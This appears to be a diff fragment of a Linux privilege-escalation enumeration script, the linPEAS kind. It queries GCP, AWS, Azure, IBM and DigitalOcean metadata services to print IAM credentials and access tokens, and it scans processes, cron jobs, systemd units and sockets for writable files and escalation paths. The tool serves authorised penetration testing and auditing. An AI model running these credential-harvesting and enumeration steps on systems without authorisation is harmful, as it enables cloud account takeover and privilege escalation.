for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
|
||||
echo " Name: $sa"
|
||||
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
|
||||
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
|
||||
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
|
||||
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
|
||||
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
|
||||
echo " ============== "
|
||||
done
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
if [ "$is_aws_ecs" = "Yes" ]; then
|
||||
print_2title "AWS ECS Enumeration"
|
||||
|
||||
aws_ecs_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_ecs_req='curl -s -f'
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_ecs_req='wget -q -O -'
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$aws_ecs_metadata_uri" ]; then
|
||||
print_3title "Container Info"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
|
||||
echo ""
|
||||
|
||||
print_3title "Task Info"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
|
||||
fi
|
||||
|
||||
if [ "$aws_ecs_service_account_uri" ]; then
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_aws_ec2" = "Yes" ]; then
|
||||
print_2title "AWS EC2 Enumeration"
|
||||
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
URL="http://169.254.169.254/latest/meta-data"
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Account Info"
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Network Info"
|
||||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||||
echo "Mac: $mac"
|
||||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
|
||||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||||
echo "Role: $role"
|
||||
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
|
||||
|
||||
echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
|
||||
print_3title "SSM Runnig"
|
||||
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_aws_lambda" = "Yes" ]; then
|
||||
print_2title "AWS Lambda Enumeration"
|
||||
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
|
||||
printf "Region: "; env | grep AWS_REGION
|
||||
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
|
||||
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
|
||||
printf "Session token: "; env | grep AWS_SESSION_TOKEN
|
||||
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
|
||||
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
|
||||
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
|
||||
fi
|
||||
|
||||
if [ "$is_aws_codebuild" = "Yes" ]; then
|
||||
print_2title "AWS Codebuild Enumeration"
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req="curl -s -f"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req="wget -q -O -"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
echo "The addresses are in /codebuild/output/tmp/env.sh"
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
print_3title "Credentials"
|
||||
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
|
||||
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
|
||||
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
|
||||
|
||||
print_3title "Container Info"
|
||||
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
|
||||
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_do" = "Yes" ]; then
|
||||
print_2title "DO Droplet Enumeration"
|
||||
|
||||
do_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
do_req='curl -s -f '
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
do_req='wget -q -O - '
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$do_req" ]; then
|
||||
URL="http://169.254.169.254/metadata"
|
||||
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
|
||||
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
|
||||
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
|
||||
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
|
||||
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
|
||||
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
|
||||
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
|
||||
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
|
||||
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
|
||||
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$is_ibm_vm" = "Yes" ]; then
|
||||
print_2title "IBM Cloud Enumeration"
|
||||
|
||||
if ! [ "$IBM_TOKEN" ]; then
|
||||
echo "Couldn't get the metdata token:("
|
||||
|
||||
else
|
||||
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
|
||||
ACCEPT_HEADER="Accept: application/json"
|
||||
URL="http://169.254.169.254/latest/meta-data"
|
||||
|
||||
ibm_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$ibm_req" ]; then
|
||||
print_3title "Instance Details"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
|
||||
|
||||
print_3title "Keys and User data"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
|
||||
|
||||
print_3title "Placement Groups"
|
||||
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
|
||||
|
||||
print_3title "IAM credentials"
|
||||
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
|
||||
fi
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
if [ "$is_az_vm" = "Yes" ]; then
|
||||
print_2title "Azure VM Enumeration"
|
||||
|
||||
HEADER="Metadata:true"
|
||||
URL="http://169.254.169.254/metadata"
|
||||
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Instance details"
|
||||
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Load Balancer details"
|
||||
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
|
||||
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$check_az_app" = "Yes" ]; then
|
||||
print_2title "Azure App Service Enumeration"
|
||||
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
|
||||
|
||||
HEADER="secret:$IDENTITY_HEADER"
|
||||
|
||||
az_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
az_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
az_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$az_req" ]; then
|
||||
print_3title "Management token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
|
||||
|
||||
print_3title "Graph token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
|
||||
|
||||
print_3title "Vault token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
|
||||
|
||||
print_3title "Storage token"
|
||||
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
|
||||
fi
|
||||
fi
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
####################################################
|
||||
#-----) Processes & Cron & Services & Timers (-----#
|
||||
####################################################
|
||||
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||
cpid=$(echo "$psline" | awk '{print $2}')
|
||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
pslist=$(ps auxwww)
|
||||
echo ""
|
||||
|
||||
#-- PCS) Binary processes permissions
|
||||
print_2title "Binary processes permissions (non 'root root' and not beloging to current user)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
|
||||
binW="IniTialiZZinnggg"
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||
if [ -w "$bpath" ]; then
|
||||
binW="$binW|$bpath"
|
||||
fi
|
||||
done
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Files opened by processes belonging to other users"
|
||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PCS) Processes with credentials inside memory
|
||||
print_2title "Processes with credentials in memory (root req)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory"
|
||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
|
||||
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
|
||||
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
|
||||
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
|
||||
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
|
||||
echo ""
|
||||
|
||||
#-- PCS) Different processes 1 min
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
|
||||
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs"
|
||||
temp_file=$(mktemp)
|
||||
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PCS) Cron
|
||||
print_2title "Cron jobs"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs"
|
||||
command -v crontab 2>/dev/null || echo_not_found "crontab"
|
||||
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
|
||||
incrontab -l 2>/dev/null
|
||||
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
|
||||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
|
||||
atq 2>/dev/null
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Third party LaunchAgents & LaunchDemons"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
|
||||
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Writable System LaunchAgents & LaunchDemons"
|
||||
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
|
||||
program=""
|
||||
program=$(defaults read "$f" Program 2>/dev/null)
|
||||
if ! [ "$program" ]; then
|
||||
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
|
||||
fi
|
||||
if [ -w "$program" ]; then
|
||||
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
print_2title "StartupItems"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
|
||||
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "Login Items"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
|
||||
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
|
||||
echo ""
|
||||
|
||||
print_2title "SPStartupItemDataType"
|
||||
system_profiler SPStartupItemDataType
|
||||
echo ""
|
||||
|
||||
print_2title "Emond scripts"
|
||||
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
|
||||
ls -l /private/var/db/emondClients
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PCS) Services
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_2title "Services"
|
||||
print_info "Search for outdated versions"
|
||||
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) systemd PATH
|
||||
print_2title "Systemd PATH"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths"
|
||||
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
|
||||
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
|
||||
echo ""
|
||||
|
||||
#-- PSC) .service files
|
||||
#TODO: .service files in MACOS are folders
|
||||
print_2title "Analyzing .service files"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services"
|
||||
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
|
||||
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
|
||||
printf "%s\n" "$servicebinpaths" | while read sp; do
|
||||
if [ -w "$sp" ]; then
|
||||
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
done
|
||||
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
|
||||
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
|
||||
if [ "$relpath1" ] || [ "$relpath2" ]; then
|
||||
if [ "$WRITABLESYSTEMDPATH" ]; then
|
||||
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
|
||||
else
|
||||
echo "$s is executing some relative path"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
|
||||
echo ""
|
||||
|
||||
#-- PSC) Timers
|
||||
print_2title "System timers"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
|
||||
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
|
||||
echo ""
|
||||
|
||||
#-- PSC) .timer files
|
||||
print_2title "Analyzing .timer files"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
|
||||
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
|
||||
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
|
||||
printf "%s\n" "$timerbinpaths" | while read tb; do
|
||||
if [ -w "$tb" ]; then
|
||||
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
|
||||
#for rp in "$relpath"; do
|
||||
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
|
||||
#done
|
||||
done
|
||||
echo ""
|
||||
|
||||
#-- PSC) .socket files
|
||||
#TODO: .socket files in MACOS are folders
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Analyzing .socket files"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
|
||||
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
|
||||
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
|
||||
fi
|
||||
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketsbinpaths" | while read sb; do
|
||||
if [ -w "$sb" ]; then
|
||||
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
|
||||
printf "%s\n" "$socketslistpaths" | while read sl; do
|
||||
if [ -w "$sl" ]; then
|
||||
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
done
|
||||
if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then
|
||||
echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then
|
||||
echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
print_2title "Unix Sockets Listening"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
|
||||
# Search sockets using netstat and ss
|
||||
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
|
||||
fi
|
||||
if ! [ "$unix_scks_list" ];then
|
||||
